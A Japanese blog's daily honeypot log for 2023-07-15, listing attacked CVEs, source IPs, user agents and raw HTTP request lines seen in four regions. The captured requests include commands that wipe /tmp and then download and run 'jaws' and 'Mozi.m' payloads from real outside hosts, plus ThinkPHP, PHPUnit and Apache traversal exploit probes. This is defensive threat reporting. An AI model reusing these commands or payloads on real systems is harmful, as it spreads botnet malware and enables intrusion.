コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/07/15 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/07/15分です。

特徴
共通

PHPUnit脆弱性(CVE-2017-9841)を狙うアクセス
CensysInspectによるスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
zgrabによるスキャン行為
.jsへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
.jsへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  testbots.maizhangyu.top/jaws;
sh /tmp/jaws
Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
zgrabによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Spring Cloud Gateway脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
zgrabによるスキャン行為
.cssへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  testbots.maizhangyu.top/jaws;
sh /tmp/jaws
アクセス数推移

JP:総アクセス数:236 (前日比:-338)
US:総アクセス数:64 (前日比:-47)
UK:総アクセス数:251 (前日比:155)
SG:総アクセス数:195 (前日比:119)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス
1 2.57.122.71 Romania
94 3.237.39.214 United States
33 4.206.217.43 United States
2 20.172.37.23 United States
1 20.204.134.246 United States
15 43.154.141.71 Singapore
1 45.33.80.243 United States
1 45.56.108.128 United States
1 45.79.172.21 United States
1 45.79.181.251 United States
2 45.128.232.176 Bulgaria
1 51.158.37.186 France
1 66.175.213.4 United States
1 71.6.134.232 United States
1 79.137.205.100 Russia
1 95.181.233.17 Romania
3 104.192.0.50 United States
1 107.170.243.26 United States
2 109.237.98.226 Russia
1 120.86.237.81 China
1 128.14.134.170 United States
9 135.125.217.54 France
4 135.125.244.48 France
4 135.125.246.110 France
4 138.197.12.34 United States
1 141.98.10.19 Lithuania
1 146.190.142.243 United States
1 149.5.172.27 United States
1 167.248.133.35 United States
1 172.105.128.11 United States
3 178.79.178.44 United States
1 179.43.162.94 Panama
29 185.217.136.188 Seychelles
1 185.224.128.157 Netherlands
4 185.254.196.173 Ukraine
1 185.254.196.186 Ukraine
1 188.166.151.213 United States
1 192.241.225.17 United States
1 205.210.31.6 United States
1 205.210.31.217 United States
1 216.218.206.68 United States
1 223.13.123.185 China

UserAgent一覧

件数 UserAgent
19 -
5 Go-http-client/1.1
1 Hello, world
1 Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
33 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
122 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
29 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_18.179.20.5_80\n
1 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x01\xfa\x01
14 \x16\x03\x01
1 ``
2 CONNECT google[.]com:443 HTTP/1.1
1 GET /.drone.yml HTTP/1.1
30 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /Credentials.js HTTP/1.1
1 GET /Host.php HTTP/1.1
2 GET /MyAdmin/scripts/setup.php HTTP/1.1
1 GET /PHPMYADMIN/scripts/setup.php HTTP/1.1
1 GET /accounts.py HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /alertmanager.conf HTTP/1.1
1 GET /api.log HTTP/1.1
2 GET /api/.env HTTP/1.1
1 GET /app.js HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/config.py HTTP/1.1
1 GET /app/config/.env HTTP/1.1
1 GET /app/config/default.js HTTP/1.1
1 GET /app/config/plugins.js HTTP/1.1
1 GET /application.py HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /audio/.env HTTP/1.1
1 GET /auth.py HTTP/1.1
1 GET /aws-client.js HTTP/1.1
1 GET /aws-credentials.js HTTP/1.1
1 GET /aws.py HTTP/1.1
1 GET /aws.rst HTTP/1.1
1 GET /backend.js HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /backup.py HTTP/1.1
1 GET /base.py HTTP/1.1
1 GET /base/.env HTTP/1.1
1 GET /base_settings.py HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /build.js HTTP/1.1
1 GET /cdn.js HTTP/1.1
1 GET /cgi-bin/.env HTTP/1.1
1 GET /cli.js HTTP/1.1
1 GET /client.config.js HTTP/1.1
1 GET /client.py HTTP/1.1
1 GET /cloudwatch.js HTTP/1.1
1 GET /cloudwatch.py HTTP/1.1
1 GET /common.py HTTP/1.1
1 GET /conf.py HTTP/1.1
1 GET /conf/.env HTTP/1.1
1 GET /conf/dotcloud.py HTTP/1.1
1 GET /config.default.py HTTP/1.1
1 GET /config.py HTTP/1.1
1 GET /config.yaml HTTP/1.1
1 GET /config/default.py HTTP/1.1
1 GET /config/mail.js HTTP/1.1
1 GET /config/settings.json HTTP/1.1
1 GET /config_example.py HTTP/1.1
1 GET /config_prod.php HTTP/1.1
1 GET /configuration.yaml HTTP/1.1
1 GET /configureAWS.js HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /credentials.js HTTP/1.1
1 GET /crm/.env HTTP/1.1
1 GET /database/.env HTTP/1.1
1 GET /database/scripts/setup.php HTTP/1.1
1 GET /db/scripts/setup.php HTTP/1.1
1 GET /dbadmin/scripts/setup.php HTTP/1.1
1 GET /default.js HTTP/1.1
1 GET /default.nix HTTP/1.1
1 GET /default.rb HTTP/1.1
1 GET /demo.txt HTTP/1.1
1 GET /deploy.js HTTP/1.1
1 GET /deploy.py HTTP/1.1
1 GET /dev.js HTTP/1.1
1 GET /dev.py HTTP/1.1
1 GET /development.js HTTP/1.1
1 GET /docker-compose.yml HTTP/1.1
1 GET /dotcloud.py HTTP/1.1
1 GET /druid/index.html HTTP/1.1
1 GET /ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/.env HTTP/1.1
1 GET /email.py HTTP/1.1
1 GET /email_api.py HTTP/1.1
1 GET /env.bak HTTP/1.1
1 GET /env.example.py HTTP/1.1
1 GET /exactarget/PMTA/vmta.txt HTTP/1.1
1 GET /example.js HTTP/1.1
1 GET /export.js HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /index.mjs HTTP/1.1
1 GET /kms.js HTTP/1.1
1 GET /lambda.py HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /library/.env HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /mail-aws.py HTTP/1.1
1 GET /main.py HTTP/1.1
1 GET /my/scripts/setup.php HTTP/1.1
1 GET /myadmin/scripts/setup.php HTTP/1.1
1 GET /mysql/scripts/setup.php HTTP/1.1
1 GET /mysqladmin/scripts/setup.php HTTP/1.1
1 GET /new/.env HTTP/1.1
1 GET /newsite/.env HTTP/1.1
1 GET /nextflow.config HTTP/1.1
1 GET /node.js HTTP/1.1
1 GET /notification.py HTTP/1.1
1 GET /old/.env HTTP/1.1
1 GET /pHpMyAdMiN/scripts/setup.php HTTP/1.1
1 GET /parameters.yml HTTP/1.1
1 GET /phpAdmin/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin-2.11.11.3/scripts/setup.ph HTTP/1.1
1 GET /phpMyAdmin-2.11.11/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin-2/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin/scripts/db.init.php HTTP/1.1
1 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET /phpadmin/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin/scripts/db.init.php HTTP/1.1
1 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin1/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin2/scripts/setup.php HTTP/1.1
1 GET /plugins.js HTTP/1.1
1 GET /pma/scripts/setup.php HTTP/1.1
1 GET /prod_settings.py HTTP/1.1
1 GET /production.py HTTP/1.1
1 GET /production_settings.py HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /proxy.js HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /s3.js HTTP/1.1
1 GET /s3.py HTTP/1.1
1 GET /script.py HTTP/1.1
1 GET /scripts/setup.php HTTP/1.1
1 GET /send_mail.go HTTP/1.1
1 GET /server.cson HTTP/1.1
1 GET /serverConfig.js HTTP/1.1
1 GET /servers.config.js HTTP/1.1
1 GET /services.js HTTP/1.1
1 GET /services.json HTTP/1.1
1 GET /ses.py HTTP/1.1
1 GET /session.js HTTP/1.1
1 GET /settings.defaults.js HTTP/1.1
1 GET /settings.js HTTP/1.1
1 GET /settings.json HTTP/1.1
1 GET /setup-env.js HTTP/1.1
1 GET /setup.php HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /showLogin.cc HTTP/1.1
1 GET /sites/all/libraries/mailchimp/.env HTTP/1.1
1 GET /smtp_settings.rb HTTP/1.1
1 GET /sqladm/scripts/setup.php HTTP/1.1
1 GET /sqladmin/scripts/setup.php HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /staging.js HTTP/1.1
1 GET /storage.js HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /travis.py HTTP/1.1
3 GET /v3/time HTTP/1.1
1 GET /values.yaml HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vendor/laravel/.env HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web-identity.py HTTP/1.1
1 GET /wp-admin/.env HTTP/1.1
1 GET /wp-content/.env HTTP/1.1
1 GET /www/.env HTTP/1.1
15 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス
1 37.221.65.19 Russia
1 41.42.10.68 Egypt
1 45.66.230.105 Bulgaria
2 45.79.181.223 United States
1 45.227.254.48 Belize
3 51.79.29.48 Canada
1 64.62.197.91 United States
1 64.62.197.199 United States
1 64.62.197.201 United States
1 64.62.197.208 United States
1 64.62.197.210 United States
1 64.176.165.131 United States
1 79.124.62.106 Bulgaria
1 79.137.205.100 Russia
1 104.28.226.8 United States
1 104.42.148.29 United States
2 109.237.98.226 Russia
1 128.1.248.42 United States
2 143.110.177.181 United States
1 144.126.201.93 United States
1 156.198.38.60 Egypt
2 162.142.125.224 United States
2 167.248.133.51 United States
1 170.64.153.186 United States
1 172.104.11.4 United States
1 172.104.11.34 United States
1 172.104.11.46 United States
1 172.104.11.51 United States
1 172.105.128.11 United States
2 172.105.128.12 United States
1 172.105.128.13 United States
3 178.79.178.138 United States
1 179.43.154.248 Panama
1 183.27.123.8 China
2 183.136.225.42 China
1 185.180.143.80 Portugal
1 185.180.143.138 Portugal
2 192.155.90.118 United States
1 192.155.90.220 United States
1 198.235.24.156 United States
1 205.210.31.202 United States
11 213.109.202.66 United Kingdom

UserAgent一覧

件数 UserAgent
29 -
1 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800
1 Mozilla/5.0 (Linux; Android 4.2.2; WX10K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; Android 7.0; SM-G930F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
4 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
2 \x03
1 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x01\xfb\x01
1 \x16\x03\x01\x02
19 \x16\x03\x01
4 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /bundle.js HTTP/1.1
1 GET /cdn-cgi/trace HTTP/1.1
1 GET /console/ HTTP/1.1
7 GET /favicon.ico HTTP/1.1
2 GET /files/ HTTP/1.1
2 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//183[.]27[.]123[.]8:40769/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
2 GET /shell?cd+/tmp;rm+-rf+*;wget+ testbots.maizhangyu.top/jaws;sh+/tmp/jaws
1 GET /showLogin.cc HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス
14 3.10.198.213 United States
1 45.79.181.94 United States
1 45.79.181.104 United States
1 45.79.181.179 United States
1 45.79.181.223 United States
2 45.79.181.251 United States
1 45.128.232.186 Bulgaria
4 47.243.182.187 United States
1 47.251.13.32 United States
1 47.251.14.232 United States
13 51.79.29.48 Canada
1 64.62.197.80 United States
1 64.62.197.84 United States
1 64.62.197.197 United States
1 66.240.192.82 United States
1 79.137.205.100 Russia
1 84.54.51.12 Bulgaria
1 95.181.233.17 Romania
1 104.28.226.8 United States
1 104.168.77.19 United States
1 107.170.243.24 United States
2 109.237.98.226 Russia
1 112.6.211.131 China
1 128.1.248.42 United States
2 137.184.105.192 United States
1 138.68.81.206 United States
2 142.93.115.5 United States
1 157.230.99.133 United States
1 157.230.99.148 United States
1 159.65.82.142 United States
2 167.94.138.52 United States
2 167.94.146.59 United States
1 167.99.129.80 United States
1 170.64.167.56 United States
3 172.104.11.46 United States
2 172.104.11.51 United States
1 172.105.128.12 United States
1 172.105.128.13 United States
3 176.58.121.82 United States
146 178.79.139.171 United States
1 185.180.143.18 Portugal
1 185.180.143.80 Portugal
1 185.224.128.157 Netherlands
1 191.101.217.95 United States
2 192.155.90.118 United States
1 192.155.90.220 United States
1 194.165.16.10 Panama
1 198.199.100.40 United States
1 198.235.24.249 United States
1 205.210.31.35 United States
4 207.90.244.10 United States
12 213.109.202.66 United Kingdom

UserAgent一覧

件数 UserAgent
6 'Cloud mapping experiment. Contact research@pdrlabs.net'
45 -
4 FooBarTest
1 Go-http-client/1.1
2 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.46
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5
15 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
5 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0
143 curl/7.54.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_132.145.66.34_80\n
1 \x03
1 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x01\xfc\x01
2 \x16\x03\x01\x02
30 \x16\x03\x01
2 ``
1 CONNECT google[.]com:443 HTTP/1.1
1 GET /+CSCOE+/logon.html HTTP/1.1
15 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /Public/home/js/check.js HTTP/1.1
1 GET /UyEI HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
2 GET /aaa9 HTTP/1.1
2 GET /aab8 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.aspx HTTP/1.1
1 GET /admin.cfm HTTP/1.1
1 GET /admin.cgi HTTP/1.1
1 GET /admin.html HTTP/1.1
1 GET /admin.jhtml HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.jsp HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin.pl HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /admin/index.html HTTP/1.1
1 GET /base.asp HTTP/1.1
1 GET /base.aspx HTTP/1.1
1 GET /base.cfm HTTP/1.1
1 GET /base.cgi HTTP/1.1
1 GET /base.html HTTP/1.1
1 GET /base.inc HTTP/1.1
1 GET /base.jhtml HTTP/1.1
1 GET /base.jsa HTTP/1.1
1 GET /base.jsp HTTP/1.1
1 GET /base.php HTTP/1.1
1 GET /base.pl HTTP/1.1
1 GET /base.shtml HTTP/1.1
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
2 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/login.cgi HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /default.asp HTTP/1.1
1 GET /default.aspx HTTP/1.1
1 GET /default.cfm HTTP/1.1
1 GET /default.cgi HTTP/1.1
1 GET /default.html HTTP/1.1
1 GET /default.jhtml HTTP/1.1
1 GET /default.jsa HTTP/1.1
1 GET /default.jsp HTTP/1.1
1 GET /default.php HTTP/1.1
1 GET /default.pl HTTP/1.1
1 GET /default.shtml HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
1 GET /druid/index.html HTTP/1.1
9 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /home.asp HTTP/1.1
1 GET /home.aspx HTTP/1.1
1 GET /home.cfm HTTP/1.1
1 GET /home.cgi HTTP/1.1
1 GET /home.html HTTP/1.1
1 GET /home.jhtml HTTP/1.1
1 GET /home.jsa HTTP/1.1
1 GET /home.jsp HTTP/1.1
1 GET /home.php HTTP/1.1
1 GET /home.pl HTTP/1.1
1 GET /home.shtml HTTP/1.1
1 GET /image/lgbg.jpg HTTP/1.1
1 GET /index.asp HTTP/1.1
1 GET /index.aspx HTTP/1.1
1 GET /index.cfm HTTP/1.1
1 GET /index.cgi HTTP/1.1
2 GET /index.html HTTP/1.1
1 GET /index.jhtml HTTP/1.1
1 GET /index.jsa HTTP/1.1
1 GET /index.jsp HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.pl HTTP/1.1
1 GET /index.shtml HTTP/1.1
1 GET /indice.asp HTTP/1.1
1 GET /indice.aspx HTTP/1.1
1 GET /indice.cfm HTTP/1.1
1 GET /indice.cgi HTTP/1.1
1 GET /indice.html HTTP/1.1
1 GET /indice.jhtml HTTP/1.1
1 GET /indice.jsa HTTP/1.1
1 GET /indice.jsp HTTP/1.1
1 GET /indice.php HTTP/1.1
1 GET /indice.pl HTTP/1.1
1 GET /indice.shtml HTTP/1.1
1 GET /inicio.asp HTTP/1.1
1 GET /inicio.aspx HTTP/1.1
1 GET /inicio.cfm HTTP/1.1
1 GET /inicio.cgi HTTP/1.1
1 GET /inicio.html HTTP/1.1
1 GET /inicio.jhtml HTTP/1.1
1 GET /inicio.jsa HTTP/1.1
1 GET /inicio.jsp HTTP/1.1
1 GET /inicio.php HTTP/1.1
1 GET /inicio.pl HTTP/1.1
1 GET /inicio.shtml HTTP/1.1
1 GET /localstart.asp HTTP/1.1
1 GET /localstart.aspx HTTP/1.1
1 GET /localstart.cfm HTTP/1.1
1 GET /localstart.cgi HTTP/1.1
1 GET /localstart.html HTTP/1.1
1 GET /localstart.jhtml HTTP/1.1
1 GET /localstart.jsa HTTP/1.1
1 GET /localstart.jsp HTTP/1.1
1 GET /localstart.php HTTP/1.1
1 GET /localstart.pl HTTP/1.1
1 GET /localstart.shtml HTTP/1.1
1 GET /login.rsp HTTP/1.1
1 GET /main.asp HTTP/1.1
1 GET /main.aspx HTTP/1.1
1 GET /main.cfm HTTP/1.1
1 GET /main.cgi HTTP/1.1
1 GET /main.html HTTP/1.1
1 GET /main.jhtml HTTP/1.1
1 GET /main.jsa HTTP/1.1
1 GET /main.jsp HTTP/1.1
1 GET /main.php HTTP/1.1
1 GET /main.pl HTTP/1.1
1 GET /main.shtml HTTP/1.1
1 GET /manage/account/login HTTP/1.1
1 GET /menu.asp HTTP/1.1
1 GET /menu.aspx HTTP/1.1
1 GET /menu.cfm HTTP/1.1
1 GET /menu.cgi HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.jhtml HTTP/1.1
1 GET /menu.jsa HTTP/1.1
1 GET /menu.jsp HTTP/1.1
1 GET /menu.php HTTP/1.1
1 GET /menu.pl HTTP/1.1
1 GET /menu.shtml HTTP/1.1
1 GET /nmaplowercheck1689294740 HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /readme.txt HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /showLogin.cc HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /skin/default_1/images/logo.png HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /start.asp HTTP/1.1
1 GET /start.aspx HTTP/1.1
1 GET /start.cfm HTTP/1.1
1 GET /start.cgi HTTP/1.1
1 GET /start.html HTTP/1.1
1 GET /start.jhtml HTTP/1.1
1 GET /start.jsa HTTP/1.1
1 GET /start.jsp HTTP/1.1
1 GET /start.php HTTP/1.1
1 GET /start.pl HTTP/1.1
1 GET /start.shtml HTTP/1.1
1 GET /static/admin/javascript/hetong.js HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET default.asp HTTP/1.1
1 GET http[:]//dyn[.]epicgifs[.]net/test6956.php HTTP/1.1
4 GET http[:]//test[.]getproxylist[.]com/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
